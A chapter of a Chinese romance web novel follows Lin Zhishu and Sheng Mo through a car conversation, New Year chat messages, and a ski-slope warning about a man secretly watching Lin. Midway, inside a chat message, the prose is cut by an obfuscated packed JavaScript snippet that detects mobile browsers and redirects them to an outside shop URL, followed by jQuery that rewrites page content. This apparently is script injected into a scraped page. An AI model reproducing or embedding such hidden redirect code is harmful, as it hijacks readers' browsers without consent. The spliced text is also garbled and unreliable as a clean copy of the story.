车总算兜到了家门口。
下车前，林知树问：“下周就要过年了，你要回家吗？”
“嗯。”
“那我们下下周见。”林知树打开手机日历，记好行程。
盛默有一瞬的沉默。
车内的暖风还在持续往外送，地下车库的顶灯把光打在挡风玻璃上，有一层薄薄的水雾。
盛默突然问：“在那之前你都不准备联系我了？”
想起来问这个问题，或许是为了验证新时代山顶洞人的假说，又或者不是。
林知树被他问得困惑，忍不住确认：“我高兴了会联系你，你高兴了也可以联系我，但不是任务，我理解得没错吗？”
盛默：“没错。”
林知树解开安全带，她的脑回路又往奇怪的方向偏移了一下，她石破天惊地问：“我现在可以亲你吗？”
她上次被朗姆酒迷昏了，没有感觉到亲吻的触感，她认为这很可惜，她想在过年之前尝试一下。
车里一下子安静了。
地下车库里，有人拎着塑料袋走过，脚步声碎碎地经过车窗，又碎碎地远去了，是落在耳朵里有些痒痒的声音。
车里的暖风也不响了，像屏住了呼吸。
盛默的手从手刹上收回，手指收拢了一下。
他没有看她。
他顿了一下，道：“在我确认你真的喜欢我之前，我不会对你做什么出格的事。”
地下车库里外面又有一声很响的关车门声，打断了两人之间的对话流。
砰。
林知树愣了愣，她立刻翻译了他的话：“亲吻这个行为属于你说的出格的范畴。”
盛默的目光盯着前面的仪表盘，他脸上没什么表情，冷冷的：“是的。”
林知树打开手机备忘录记下：“好的，我知道了，记住了。”
【在他确认我喜欢他之前，盛默不会亲我。】
盛默的视线终于从仪表盘上偏移过来，落在她打字的手上，片刻。
“你不亲我，那我可以亲你吧？”林知树放下手机，随即又询问道。
似乎是想说什么话，盛默那包裹着脖颈的衣服领口随着喉结微微起伏了一下。
他的瞳孔里反射着仪表盘和从前挡风玻璃透进来的细微光线。
咔哒一声，副驾驶车门开了。
林知树站在车外，比了一个得逞的v字：“你真信吗？别太相信自己头脑的判断了，我不是那么坏的人。我走了。”
盛默：“……”
这下他懂了。
大概是为了报复昨天他那句“别太相信自己的头脑了，我不是那么好的人”，她甚至有意地学了他的句式。
林知树坐地下车库的电梯上楼了。
盛默坐在驾驶座上没有动。
他的手搭在方向盘上，皮质方向盘上被手指的力道压出一个有些深度的凹痕。
车窗上的那层水雾浓重了一些，开门后的冷气冲进车里把它养厚了。
*
除夕夜，林知树在自己的公寓里，找了一部大长剧，放好设备和零食，以便她能一边看剧一边玩游戏一边吃东西。
陆市在静静地下雪。
林知树舒舒服服地躺在懒人沙发里，暖和地窝着。
小时候过年是林知树的至暗时刻。除了还没有被禁止的烟花爆竹像美军打过来了以外，其余都没有什么值得拎出来的记忆。
她在一堆亲戚的吵吵闹闹中像个透明人一样坐着，做什么都不行。某次她拿了本书看，旁边路过的亲戚夸了她一句“真用功”。随后父亲就把她的书抽走了：“平时也没见你用功，这个时候来装模作样了。见了人不会叫人，像个哑巴一样，你多跟其他人学学，把叔叔阿姨舅舅伯伯都认清楚！”此后她就不再在亲戚面前拿书看了，她只是呆坐着。
不知怎么的，这件过去的事就从地板缝隙里生长出来，让她愣神了片刻。
她想起盛默那个超大型号的家庭了，盛默的爷爷有四个儿子四个女儿，并且这些兄弟姐妹和下一代之间的联系都挺紧密的。也就是说，盛默过年的时候要被一群亲戚包围。
林知树有点好奇盛默会是什么反应，他这个人类观察专家会因为能见证人类行为大赏而感到心满意足吗？
零点的时候，庄时曼给她发了消息“新年快乐乐乐乐！！”，重复的字符像回音，又像弹跳的声音，林知树回复她“新年快乐！！”，也认真地加了两个感叹号。
盛默发了“新年快乐”，没有标点符号，林知树一模一样地回复他“新年快乐”，保持格式。
【林知树】：你过年见亲戚时的脑袋型号是什么？是一个头两个大吗？还是感觉思维升华？
【盛默】：两者都有。
【林知树】：噢。
原来就连人类观察家盛默都会对这种场合感到困扰。
林知树释怀了，不是因为她冷酷心肠不会社交。
【林知树】：那我祝你接下来的几天里一个头一个大，稍微舒服一点。
发完祝福之后她左看右看觉得这并不像什么祝福，看起来有些许奇怪，正想撤回时，对方已经回复了。
【盛默】：谢谢。你一个人吗？没有回家吗？
林知树警惕起来了，她扭过头看向窗帘紧闭的窗户，又看向天花板，她有点怀疑盛默有什么天眼。
【林知树】：你怎么知道我没有回家？
【盛默】：根据读者用光滑的大脑也能发现的伏笔推理的。
这是林知树在白山茶咖啡屋中提过的伏笔理论，没想到盛默记住了。
但她依然感到困惑。
【林知树】：哪里有伏笔？什么伏笔？我什么时候透露过吗？还是你根据其他情报源知道的？
【盛默】：不告诉你。
【林知树】：你这样说的话，我要变成连光滑的大脑都没有的笨蛋了。
【盛默】：嗯。
林知树：“……”
这个“嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343798|199405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”是什么意思呢？
对方气焰那么嚣张，她必须得做点什么才是。
【林知树】：那我问你，如果我用了很灵验有效的蟑螂药，发现家里的蟑螂变多了，但我依然觉得网上的风评是真的，这款蟑螂药真的很好。这是因为什么？
三分钟后。
【盛默】：请你告诉我答案。
【林知树】：答案是这款蟑螂药太好吃了，一传十十传百，左邻右舍的蟑螂都跑过来吃了，我一个人灭了一栋楼的蟑螂，只不过蟑螂都躺在我家了而已！
承认吧，她的脑仁拥有很多褶皱。
*
过年快递不发货，培训机构不开门，就连致力于从股民口袋里抢钱的金融市场都偃旗息鼓。
林知树无聊。
室内滑雪场人流爆满，不管是那家新开的冰雪大世界还是那家她常去的滑雪场，都是一副人挤人的形状。
林知树持续无聊。
初八，料定大家都去上班了，林知树急头白脸地赶去滑雪了。庄时曼还在陪家人旅游，盛默去上班了，只有她一个人。
体育公园这边的室内滑雪场果然恢复了，比平时稍微热闹一点而已。
林知树换好装备上了雪道，滑了几趟，有了肌肉记忆之后她的动作更熟练了。
只是隐约觉得有人在盯着她。
她滑到雪道边缘的时候环顾了一圈。场馆里的好些人戴着雪镜和面罩，裹得严严实实，辨认不出来。
大概是错觉。
林知树没有放在心上。
又过了大概二十分钟，一个穿紫色滑雪服的女性从她旁边经过，停下来：“嗨。”
林知树：“嗨？”
紫滑雪服指了指自己衣服上的工牌：“我是雪道巡查员。”
林知树总觉得这个声音耳熟，但一时间想不起来在哪里听过了。
紫滑雪服笑着打量她：“你刚才是不是一直在找什么人？我在那边看雪道的情况，发现你滑着滑着就往四周看。”
林知树：“我只是觉得有人在看我，你就当我被害妄想症就行。”
紫滑雪服脸上露出了“果然如此”的表情，她从滑雪服的内侧口袋里掏出手机，打开相册，把屏幕转过来对着林知树。
屏幕上是一张照片。
是一张正常的合影，被裁剪过了，照片上只剩一个人，背景是这家滑雪场，男生穿着深蓝色的滑雪服，脸上带着温和的笑容，眉目清朗。
林知树怔了怔。
“看你的表情应该是认识他的。他叫周致。”
紫色滑雪服把手机收回去。
“周致已经偷偷看你很久了，上次你和你男朋友过来的时候，他也在。”
紫色滑雪服微微歪了歪头，继续道：
“我和周致不熟，我是机缘巧合下认识他的，我也不知道你们什么情况。”
“但我作为雪道巡查员可以很负责任地告诉你，他作为顾客确实形迹可疑，过来告诉你一声。”